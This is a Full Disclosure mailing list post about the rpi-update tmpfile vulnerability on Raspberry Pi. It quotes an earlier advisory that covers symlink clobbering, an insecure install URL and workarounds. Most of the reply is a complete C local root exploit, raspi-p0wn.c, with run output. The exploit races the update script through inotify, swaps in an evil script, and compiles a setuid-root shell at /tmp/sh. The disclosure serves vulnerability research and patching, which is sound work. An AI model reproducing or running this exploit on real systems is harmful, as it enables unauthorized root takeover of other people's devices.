Full Disclosure mailing list archives
Re: rpi-update tmpfile vulnerability
From: "Larry W. Cashdollar" <larry0 () me com>
Date: Wed, 06 Mar 2013 02:25:27 +0000 (GMT)
Hello everyone, I took a closer look at this vulnerability here is my exploit to share: 45 cat > /tmp/updateScript.sh << EOF <-- if we own it first, wait for I_MODIFY and inject our malicious code 46 #!/bin/bash 47 if mv "${_tempFileName}" "$0"; then 48 rm -- "\$0" 49 exec env UPDATE_SELF=0 /bin/bash "$0" "${FW_REV}" 50 else 51 echo " !!! Failed!" 52 fi 53 EOF 5455 echo " *** Relaunching after update" 56 exec /bin/bash /tmp/updateScript.sh <-- just runs whatever is here
This will poop out a root prompt for you! raspi-p0wn.c ---------------------------------------- /*Local root exploit for rpi-update on raspberry Pi. Vulnerability discovered by Technion, technion () lolware net https://github.com/Hexxeh/rpi-update/ larry@pih0le:~$ ./rpix updateScript.sh [*] Launching attack against "updateScript.sh" [+] Creating evil script (/tmp/evil) [+] Creating target file (/usr/bin/touch /tmp/updateScript.sh) [+] Initialize inotify on /tmp/updateScript.sh [+] Waiting for root to change perms on "updateScript.sh" [+] Opening root shell (/tmp/sh) # <-- Yay! Larry W. Cashdollar http://vapid.dhs.org @_larry0 Greets to Vladz. */ #include <stdlib.h> #include <stdio.h> #include <unistd.h> #include <sys/stat.h> #include <sys/types.h> #include <string.h> #include <sys/inotify.h> #include <fcntl.h> #include <sys/syscall.h> /*Create a small c program to pop us a root shell*/ int create_nasty_shell(char *file) { char *s = "#!/bin/bash\n" "echo 'main(){setuid(0);execve(\"/bin/sh\",0,0);}'>/tmp/sh.c\n" "cc /tmp/sh.c -o /tmp/sh; chown root:root /tmp/sh\n" "chmod 4755 /tmp/sh;\n"; int fd = open(file, O_CREAT|O_RDWR, S_IRWXU|S_IRWXG|S_IRWXO); write(fd, s, strlen(s)); close(fd); return 0; } int main(int argc, char **argv) { int fd, wd; char buf[1], *targetpath, *cmd, *evilsh = "/tmp/evil", *trash = "/tmp/trash"; if (argc < 2) { printf("Usage: %s <target file> \n", argv[0]); return 1; } printf("[*] Launching attack against \"%s\"\n", argv[1]); printf("[+] Creating evil script (/tmp/evil)\n"); create_nasty_shell(evilsh); targetpath = malloc(sizeof(argv[1]) + 32); cmd = malloc(sizeof(char) * 32); sprintf(targetpath, "/tmp/%s", argv[1]); sprintf(cmd,"/usr/bin/touch %s",targetpath); printf("[+] Creating target file (%s)\n",cmd); system(cmd); printf("[+] Initialize inotify on %s\n",targetpath); fd = inotify_init(); wd = inotify_add_watch(fd, targetpath, IN_MODIFY); printf("[+] Waiting for root to modify :\"%s\"\n", argv[1]); syscall(SYS_read, fd, buf, 1); syscall(SYS_rename, targetpath, trash); syscall(SYS_rename, evilsh, targetpath); inotify_rm_watch(fd, wd); printf("[+] Opening root shell (/tmp/sh)\n"); sleep(2); system("rm -fr /tmp/trash;/tmp/sh || echo \"[-] Failed.\""); return 0; } On Feb 28, 2013, at 04:19 PM, Technion <technion () lolware net> wrote:
Raspberry Pi Firmware Updater Vulnerability Application: https://github.com/Hexxeh/rpi-update/ Version Tested: Github source as of 10ad1e975a (10th Feb commit) Vulnerability #1: A malicious user can clobber any file due to insecure tmp file handling. Example: Any unprivileged user can create the following symlink, either from a shell account, or by malicious web content such as PHP scripts. pi@raspberrypi ~ $ ln -s /etc/passwd /tmp/updateScript.sh Once in place, the symlink is awaiting the administrator to run an update: pi@raspberrypi ~ $ sudo rpi-update ... pi@raspberrypi ~ $ cat /etc/passwd #!/bin/bash if mv "./testfile.sh.tmp" "./testfile.sh"; then rm -- "$0" exec env UPDATE_SELF=0 /bin/bash "./testfile.sh" "" else echo " !!! Failed!" fi As of this point, the pi is quite unusable due to the corrupted password database. Note that the attacker cannot customise the content, for example, to set a UID0 account. Vulnerability #2: The installation recommends the following command: sudo wget http://goo.gl/1BOfJ -O /usr/bin/rpi-update && sudo chmod +x /usr/bin/rpi-update Although the selfupdate functionality utilises SSL to ensure the integrity of the download, the installation process uses a URL shortening service without SSL to download the bash script, which the user is then encouraged to run as the root user. Fix and Vendor Response A pull request detailing exploit #1 and including a simple patch was submitted February 6th. The patch has not yet been accepted. Workaround By running rpi-update with the self update feature disabled, the affected code is not executed. Example: sudo UPDATE_SELF=0 rpi-update If you would like to update the application manually, or perform an initial installation safely, use the following commands: wget https://github.com/Hexxeh/rpi-update/raw/master/rpi-update sudo cp rpi-update /usr/bin/rpi-update && sudo chmod +x /usr/bin/rpi-update Note that applying the patch in my pull request will not be a complete solution, as it will be reverted after the first automatic update. technion () lolware net
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- Re: rpi-update tmpfile vulnerability Larry W. Cashdollar (Mar 05)